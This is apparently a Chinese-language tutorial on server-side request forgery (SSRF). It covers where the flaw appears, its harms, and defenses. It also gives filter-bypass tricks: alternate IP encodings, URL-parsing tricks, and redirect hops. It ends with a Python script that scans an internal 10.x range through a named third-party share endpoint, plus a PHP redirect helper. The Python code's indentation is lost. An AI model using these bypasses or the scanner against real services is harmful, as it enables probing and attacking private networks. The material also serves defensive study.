ssrf简介

SSRF漏洞分析、利用及防御

0x01

SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)

SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片,下载等等。

SSRF漏洞的寻找(漏洞常见出没位置):

  • 能够对外发起网络请求的地方,就可能存在 SSRF 漏洞
  • 从远程服务器请求资源(Upload from URL,Import & Export RSS Feed)
  • 数据库内置功能(Oracle、MongoDB、MSSQL、Postgres、CouchDB)
  • Webmail 收取其他邮箱邮件(POP3、IMAP、SMTP)
  • 文件处理、编码处理、属性信息处理(ffmpeg、ImageMagic、DOCX、PDF、XML)
  1. 分享:通过URL地址分享网页内容
  2. 转码服务
  3. 在线翻译
  4. 图片加载与下载:通过URL地址加载或下载图片
  5. 图片、文章收藏功能
  6. 未公开的api实现以及其他调用URL的功能
  7. 从URL关键字中寻找

0x02 常见后端实现

  1. file_get_contents
  2. fsockopen()
  3. curl_exec()

0x03 危害

  • 可以对外网、服务器所在内网、本地进行端口扫描,获取一些服务的 banner 信息(以该主机作为跳板对内网进行探测)
  • 攻击运行在内网或本地的应用程序(比如溢出)
  • 对内网 WEB 应用进行指纹识别,通过访问默认文件实现
  • 攻击内外网的 web 应用,主要是使用 GET 参数就可以实现的攻击(比如 Struts2,sqli 等)
  • 利用 file 协议读取本地文件等(对该服务器进行任意文件读取)

0x04 防御

应用层
使用唯一的ip地址和URL,而不是对输入的URL进行复用
简单的说,拒绝对输入的URL进行二次解析,只使用第一次的结果

网络层
使用防火墙或者协议来阻断内网的通行
使用防火墙或者协议

  1. 过滤放回信息,验证远程服务器对请求的响应是比较容易的方法。如果web应用是去获取某一种类型的文件。那么在把返回结果展示给用户之前先验证返回的信息是否符合标准。
  2. 统一错误信息,避免用户可以根据错误信息来判断远程服务器的端口状态。
  3. 限制请求的端口为http常用的端口,比如,80,443,8080,8090。
  4. 黑名单内网IP。避免应用被用来获取内网数据,攻击内网。
  5. 禁用不需要的协议,如file:///,gopher://,ftp://。仅仅允许http和https请求。
  6. 服务器开启OpenSSL。无法进行交互利用。

0x05 绕过姿势

  1. 更改 IP 地址写法 例如192.168.0.1

    • 8 进制格式:0300.0250.0.1
    • 16 进制格式:0xC0.0xA8.0.1
    • 10 进制整数格式:3232235521
    • 16 进制整数格式:0xC0A80001
    • 还有一种特殊的省略模式,例如10.0.0.1这个 IP 可以写成10.1
  2. 利用 URL 解析问题 在某些情况下,后端程序可能会对访问的 URL 进行解析,对解析出来的 host 地址进行过滤。这时候可能会出现对 URL 参数解析不当,导致可以绕过过滤。 例如:

    • http://www.baidu.com@192.168.0.1/http://192.168.0.1请求的都是192.168.0.1的内容
    • 可以指向任意 ip 的域名xip.iohttp://127.0.0.1.xip.io/==>http://127.0.0.1/
    • 短地址http://dwz.cn/11SMa==>http://127.0.0.1
    • 利用句号。:127。0。0。1==>127.0.0.1
    • 利用 Enclosed alphanumerics

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ  >>>  example.com
      List:
      ① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳
      ⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇
      ⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛
      ⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵
      Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ
      ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ
      ⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴
      ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿
  3. 注意:
    可以使用302跳转绕过http协议的限制

0x06 一些脚本

  • 简单的内网探测脚本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#!/usr/bin/env python
# encoding: utf-8
import requests
import time
import random
port = '80'
# fuzz local C
for c in xrange(0,255):
for d in xrange(0,255):
ip = '10.133.{0}.{1}'.format(c,d)
payload = 'http://{ip}:{port}/'.format(ip=ip,port=port)
url = 'http://share.v.t.qq.com/index.php?c=share&a=pageinfo&url={payload}'.format(
payload=payload)
# len({"ret":1}) == 9
if len(requests.get(url).content) != 9:
print ip, port, 'OPEN', requests.get(url).content
  • 302跳转绕过脚本
1
2
3
4
5
6
7
<?php
$ip = $_GET['ip'];
$port = $_GET['port'];
$scheme = $_GET['s'];
$data = $_GET['data'];
header("Location: $scheme://$ip:$port/$data");
?>